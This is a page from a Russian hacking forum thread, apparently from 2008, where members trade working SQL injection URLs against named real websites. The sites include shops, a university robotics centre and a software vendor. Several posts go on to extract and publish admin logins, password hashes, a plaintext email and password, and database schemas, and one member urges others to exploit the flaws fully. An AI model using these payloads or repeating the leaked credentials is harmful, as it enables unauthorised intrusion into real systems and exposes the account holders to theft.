FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 523 из 1602

523

Опции темы

Поиск в этой теме

Опции просмотра

18.04.2008, 00:21

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

Провел на форуме:
17621293

Репутация: 4915

gibson,ZET36
3 ветка union не пашет отсюда и ошибка
_http://www.mioo.ru/podrazdinfpage.php?id=116&prjid=805+and+substring( version(),1,1)=3/*
А вообще вопросы-соседняя тема

Последний раз редактировалось jokester; 18.04.2008 в 00:24..

18.04.2008, 01:40

bag

Участник форума

Регистрация: 06.03.2008

Сообщений: 105

Провел на форуме:
253346

Репутация: 146

Йога: кундалини йога, хатха йога, трай йога, медитации, йога для детей, беременных, асана, чакры, мантры

Код:

http://www.kundalini.ru/parts.php?id=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4/*

Ниче личного, господа. Просто скуля,а то народ иногда возмущается что мол затрагиваю....

Код:

http://www.bikenut.com.au/parts.php?id=9999999999999/**/UNION/**/SELECT/**/1/*

тот же stox CMS, есть таблица users, дальше не смотрел

============================
Журнал "Наука и религия" Официальный сайт
http://www.n-i-r.ru/nir3.php?id_pdstat=999999999+UNION+SELECT+1,versio n(),3,4,5/*

Код:

http://melitopol.ru/mel/is.php?n_is=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*

5.0.45-Max-log

Код:

http://www.immi-ru.net/serv/news.php?news=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

Последний раз редактировалось bag; 18.04.2008 в 02:46..

18.04.2008, 13:14

Extremal

Познающий

Регистрация: 21.06.2006

Сообщений: 74

Провел на форуме:
2441743

Репутация: 222

Отправить сообщение для Extremal с помощью ICQ

to bag

Цитата:

Код:

http://www.immi-ru.net/serv/news.php?news=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

Код:

http://www.immi-ru.net/serv/news.php?news=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,concat_ws(char(58),name,username,password,email),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+users2+limit+0,1/*

Помойму вот так намного лудше

Пассы храняться в открытом виде

Старайтесь раскрутить полностью инъекцию а не только подбирать колнки.

Последний раз редактировалось Extremal; 18.04.2008 в 13:19..

18.04.2008, 17:38

bag

Участник форума

Регистрация: 06.03.2008

Сообщений: 105

Провел на форуме:
253346

Репутация: 146

Межшкольный Эстетический Центр

Код:

http://www.mec-krasnodar.ru/content.php?id=999999999'/**/UNION/**/SELECT/**/1/*

photoisland

Код:

http://www.photoisland.net/pi_art_text.php?lng=1&article_id=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6/*

Компания GFI разработчик игр

Код:

http://www.gfi.su/index1.php?langid=1&idt=999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

Психологический навигатор

Код:

http://www.psynavigator.ru/articles.php?code=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9/*

версия бд - 5

Медицинское оборудование

Код:

http://diamedcom.ru/php/content.php?group=1&id=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*

Formul.Ru Итальянская мебель,кухни из Италии, кровати, гостиные, спальни,кухонные мойки, матрасы

Код:

http://www.formul.ru/privacy.php?n=999999999'/**/UNION/**/SELECT/**/1,2,3,4/*

Доски объявлений. Бесплатная доска объявлений

Код:

http://www.1000dosok.ru/doski.php?kr=999999999'/**/UNION/**/SELECT/**/1/*

Производство и продажа шкафов купе, заказ прихожих, гардеробных и обувниц

Код:

http://www.s-m-c.ru/about/index.php?idmenu=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8/*

ООО "Форпост" - продажа мебели оптом и в розницу

Код:

http://www.forpost-perm.ru/spec.php?action=detail&id=999999999/**/UNION/**/SELECT/**/1/*

mebelshop.kiev.ua | магазин мебели

Код:

http://mebelshop.com.ua/index_office.php?param=38&chair_marka=999999999/**/UNION/**/SELECT/**/1,2,3/*

мебель для кухни

Код:

http://www.mebelhall.ru/gallery.php?menu=kux&foto=999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7/*

Мебель: стулья, столы, журнальные столики, кресла, диваны

Код:

http://anymebel.ru/index.php?shops=999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7/*

Мебель на любой вкус

Код:

http://mebel-miheeff.ru/catalog.php?cat=999999999/**/UNION/**/SELECT/**/1/*

со скулями ухожу в бессрочный отпуск)))

RuDDicK, боян это када выложенная тобой тема уже выкладывалась или обсуждалась и ты ее повторяешь.

Последний раз редактировалось bag; 18.04.2008 в 18:49..

18.04.2008, 18:13

-=megahertz=-

Участник форума

Регистрация: 23.05.2007

Сообщений: 103

Провел на форуме:
380957

Репутация: 56

Отправить сообщение для -=megahertz=- с помощью ICQ

Цитата:

Сообщение от Extremal

to bag
Старайтесь раскрутить полностью инъекцию а не только подбирать колнки.

без проблем:

18.04.2008, 21:33

truelamer

Участник форума

Регистрация: 06.11.2007

Сообщений: 143

Провел на форуме:
350782

Репутация: 81

http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=@@version--

Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.0 (Build 2195: Service Pack 4

http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=system_user--

generaluser

http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=db_name()--

preview_kccla

http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+ta ble_name+from+information_schema.tables)--

http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+ta ble_name+from+information_schema.tables+where+tabl e_name+not+in+('STATUS','Admin','Admin_Login','Adm in_Login_Level'))--

http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+co lumn_name+from+information_schema.columns+where+ta ble_name='Admin'+and+column_name+not+in+('AID','Pa ssword'))--

http://www.kccla.org/html/exhibition_detail.asp?ID=87+and+1=(select+top+1+co lumn_name+from+information_schema.columns+where+ta ble_name='Admin_Login'+and+column_name+not+in+('ID ','AdminID','Login','IP','Date_Time'))--

Криважопая база, складывается такое впечатление что данные находятся не в своих столбцах
так например в id хранятся мылы и то не с первой записи, а первая пуста. И логины вроде в AdminID короче что попало(

это логины один какой-то подходит к пасу ниже

logins:
adminweb
adminkcc
adminpat
pat4896

id:josh@kccla.org
pass:choi1979

19.04.2008, 17:24

Momiji

Постоянный

Регистрация: 25.08.2007

Сообщений: 530

Провел на форуме:
3926698

Репутация: 1446

Отправить сообщение для Momiji с помощью ICQ

lmsports.ru

Код:

http://www.lmsports.ru/forum.html?page=&show=&msgid=-1+union+select+concat_ws(0x3,version(),user(),database())/*

5.0.45-logu81617@10.10.223.245u81617

Код:

http://www.lmsports.ru/forum.html?page=&show=&msgid=-1+union+select+concat_ws(0x3,email,pass)+from+maillist+limit+0,1/*

turtle@liquimoly.ruoBJsHzBk

19.04.2008, 17:53

big_BRAT

Познающий

Регистрация: 24.12.2006

Сообщений: 90

Провел на форуме:
1292655

Репутация: 168

Отправить сообщение для big_BRAT с помощью ICQ

http://www.vmprotect.ru
продавцы хорошего протэктора.

Код:

http://www.vmprotect.ru/news.php?id=389+UnIOn+SelEct+1,2,3,concat_ws(0x3a,version(),user(),database()),5/*

5.0.45-community-nt-log:1gb_vmprotect@81.176.226.164:1gb_vmprotect

Код:

http://www.vmprotect.ru/news.php?id=389+UnIOn+SelEct+1,2,3,concat_ws(0x3a,username,user_password),5+from+phpbb_users+limit+1,1/*

Admin:7fbab0f8d4e73b606eb88383e22b72bc

=======================
есть форум phpbb, интересная таблица vmprot_clients

19.04.2008, 23:59

.acme

Участник форума

Регистрация: 08.11.2007

Сообщений: 102

Провел на форуме:
1266776

Репутация: 93

kiberpank.ru
Сказка на ночь: Как поимели "киберпанков". Оказалось все банально.

Цитата:

http://kiberpank.ru/forumtopics/-99999+union+select+1,2,3,4,5,concat_ws(0x40,TABLE_ NAME,COLUMN_NAME),7,8,9,10+from+INFORMATION_SCHEMA .COLUMNS--

user: u46687@10.10.223.241
database: u46687_kiberpank
version: 5.0.45-log

Смотрим юзверей:

Цитата:

http://kiberpank.ru/forumtopics/-99999+union+select+1,2,3,4,5,concat_ws(0x3,id,nick ,password,email,icq),7,8,9,10+from+users+limit+1,5 0--

Enjoy.

#10

20.04.2008, 00:23

vp$

Участник форума

Регистрация: 22.10.2007

Сообщений: 138

Провел на форуме:
2454040

Репутация: 177

Отправить сообщение для vp$ с помощью ICQ

МГТУ им Н.Э.Баумана
научно-учебный центр "роботехника"

Код:

http://www.robot.bmstu.ru/index.php?c=flud&n=467600000+union+select+1,2,3,concat(name,0x3a,hash,0x3a,status),5+from+peoples/*

Акилин Андрей Алексеевич:5fa63f31b9b7c2a6769abc8c21a93 a09:1 пасс 1119862833
а куда вставлять хз, есть форма входа
_http://www.robot.bmstu.ru/kaf_test/
но тут нужен логин, которого в табле нет((

Код:

17:archive
17:--1:dt
17:--2:text
17:--3:user
17:--4:status
17:--5:coment
18:board
18:--1:data
18:--2:name
18:--3:mail
18:--4:content
18:--5:status
18:--6:hash
19:club
19:--1:content
20:fluders
20:--1:ip
20:--2:host
20:--3:fluder
20:--4:message
21:materials
21:--1:discipline
21:--2:matname
21:--3:prepod
21:--4:link
22:news
22:--1:data
22:--2:title
22:--3:content
23:pages
23:--1:codename
23:--2:description
23:--3:owner
24:peoples
24:--1:data
24:--2:name
24:--3:mail
24:--4:content
24:--5:status
24:--6:hash
25:prepod
25:--1:name
25:--2:description
25:--3:login
25:--4:pass
25:--5:status
26:sessions
26:--1:login
26:--2:type
27:subpage
27:--1:codename
27:--2:content